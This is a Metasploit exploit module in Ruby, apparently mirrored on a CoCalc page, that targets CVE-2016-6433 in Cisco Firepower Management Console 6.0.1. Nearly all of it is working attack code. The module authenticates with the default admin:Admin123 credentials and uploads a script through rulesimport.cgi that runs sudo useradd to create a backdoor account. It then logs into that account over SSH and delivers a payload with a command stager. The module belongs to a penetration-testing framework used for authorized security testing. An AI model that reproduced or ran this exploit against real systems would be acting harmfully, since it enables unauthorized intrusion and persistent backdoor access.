CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/cisco_firepower_useradd.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::Remote::SSH
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability",
16
'Description' => %q{
17
This module exploits a vulnerability found in Cisco Firepower Management Console.
18
The management system contains a configuration flaw that allows the www user to
19
execute the useradd binary, which can be abused to create backdoor accounts.
20
Authentication is required to exploit this vulnerability.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Matt', # Original discovery & PoC
26
'sinn3r' # Metasploit module
27
],
28
'References' =>
29
[
30
[ 'CVE', '2016-6433' ],
31
[ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ]
32
],
33
'Platform' => 'linux',
34
'Arch' => ARCH_X86,
35
'Targets' =>
36
[
37
[ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ]
38
],
39
'Privileged' => false,
40
'DisclosureDate' => '2016-10-10',
41
'CmdStagerFlavor'=> %w{ echo },
42
'DefaultOptions' =>
43
{
44
'SSL' => 'true',
45
'SSLVersion' => 'Auto',
46
'RPORT' => 443
47
},
48
'DefaultTarget' => 0))
49
50
register_options(
51
[
52
# admin:Admin123 is the default credential for 6.0.1
53
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
54
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
55
OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']),
56
OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']),
57
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
58
OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22])
59
])
60
end
61
62
def check
63
# For this exploit to work, we need to check two services:
64
# * HTTP - To create the backdoor account for SSH
65
# * SSH - To execute our payload
66
67
vprint_status('Checking Cisco Firepower Management console...')
68
res = send_request_cgi({
69
'method' => 'GET',
70
'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213')
71
})
72
73
if res && res.code == 200
74
vprint_status("Console is found.")
75
vprint_status("Checking SSH service.")
76
begin
77
opts = ssh_client_defaults.merge({
78
port: datastore['SSHPORT'],
79
password: Rex::Text.rand_text_alpha(5),
80
auth_methods: ['password']
81
})
82
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
83
Net::SSH.start(rhost, 'admin', opts)
84
end
85
rescue Timeout::Error
86
vprint_error('The SSH connection timed out.')
87
return Exploit::CheckCode::Unknown
88
rescue Net::SSH::AuthenticationFailed
89
# Hey, it talked. So that means SSH is running.
90
return Exploit::CheckCode::Appears
91
rescue Net::SSH::Exception => e
92
vprint_error(e.message)
93
end
94
end
95
96
Exploit::CheckCode::Safe
97
end
98
99
def get_sf_action_id(sid)
100
requirements = {}
101
102
print_status('Attempting to obtain sf_action_id from rulesimport.cgi')
103
104
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
105
res = send_request_cgi({
106
'method' => 'GET',
107
'uri' => uri,
108
'cookie' => "CGISESSID=#{sid}"
109
})
110
111
unless res
112
fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.')
113
end
114
115
sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1]
116
117
unless sf_action_id
118
fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi')
119
end
120
121
sf_action_id
122
end
123
124
def create_ssh_backdoor(sid, user, pass)
125
uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi')
126
sf_action_id = get_sf_action_id(sid)
127
sh_name = 'exploit.sh'
128
129
print_status("Attempting to create an SSH backdoor as #{user}:#{pass}")
130
131
mime_data = Rex::MIME::Message.new
132
mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"')
133
mime_data.add_part('file', nil, nil, 'form-data; name="source"')
134
mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"')
135
mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"')
136
mime_data.add_part(
137
"sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}",
138
'application/octet-stream',
139
nil,
140
"form-data; name=\"file\"; filename=\"#{sh_name}\""
141
)
142
143
send_request_cgi({
144
'method' => 'POST',
145
'uri' => uri,
146
'cookie' => "CGISESSID=#{sid}",
147
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",
148
'data' => mime_data.to_s,
149
'vars_get' => { 'no_mojo' => '1' },
150
})
151
end
152
153
def generate_new_username
154
datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5)
155
end
156
157
def generate_new_password
158
datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5)
159
end
160
161
def do_login
162
console_user = datastore['USERNAME']
163
console_pass = datastore['PASSWORD']
164
uri = normalize_uri(target_uri.path, 'login.cgi')
165
166
print_status("Attempting to login in as #{console_user}:#{console_pass}")
167
168
res = send_request_cgi({
169
'method' => 'POST',
170
'uri' => uri,
171
'vars_post' => {
172
'username' => console_user,
173
'password' => console_pass,
174
'target' => ''
175
}
176
})
177
178
unless res
179
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
180
end
181
182
res_cookie = res.get_cookies
183
if res.code == 302 && res_cookie.include?('CGISESSID')
184
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
185
print_status("CGI Session ID: #{cgi_sid}")
186
print_good("Authenticated as #{console_user}:#{console_pass}")
187
store_valid_credential(user: console_user, private: console_pass) # changes service_name to http || https
188
return cgi_sid
189
end
190
191
nil
192
end
193
194
def execute_command(cmd, opts = {})
195
@first_exec = true
196
cmd.gsub!(/\/tmp/, '/usr/tmp')
197
198
# Weird hack for the cmd stager.
199
# Because it keeps using > to write the payload.
200
if @first_exec
201
@first_exec = false
202
else
203
cmd.gsub!(/>>/, ' > ')
204
end
205
206
begin
207
Timeout.timeout(3) do
208
@ssh_socket.exec!("#{cmd}\n")
209
vprint_status("Executing #{cmd}")
210
end
211
rescue Timeout::Error
212
fail_with(Failure::Unknown, 'SSH command timed out')
213
rescue Net::SSH::ChannelOpenFailed
214
print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)')
215
retry
216
end
217
end
218
219
def init_ssh_session(user, pass)
220
print_status("Attempting to log into SSH as #{user}:#{pass}")
221
222
factory = ssh_socket_factory
223
opts = {
224
auth_methods: ['password', 'keyboard-interactive'],
225
port: datastore['SSHPORT'],
226
use_agent: false,
227
config: false,
228
password: pass,
229
proxy: factory,
230
non_interactive: true
231
}
232
233
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
234
235
begin
236
ssh = nil
237
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
238
@ssh_socket = Net::SSH.start(rhost, user, opts)
239
end
240
rescue Net::SSH::Exception => e
241
fail_with(Failure::Unknown, e.message)
242
end
243
end
244
245
def exploit
246
# To exploit the useradd vuln, we need to login first.
247
sid = do_login
248
return unless sid
249
250
# After login, we can call the useradd utility to create a backdoor user
251
new_user = generate_new_username
252
new_pass = generate_new_password
253
create_ssh_backdoor(sid, new_user, new_pass)
254
255
# Log into the SSH backdoor account
256
init_ssh_session(new_user, new_pass)
257
258
begin
259
execute_cmdstager({:linemax => 500})
260
ensure
261
@ssh_socket.close
262
end
263
end
264
end
265
266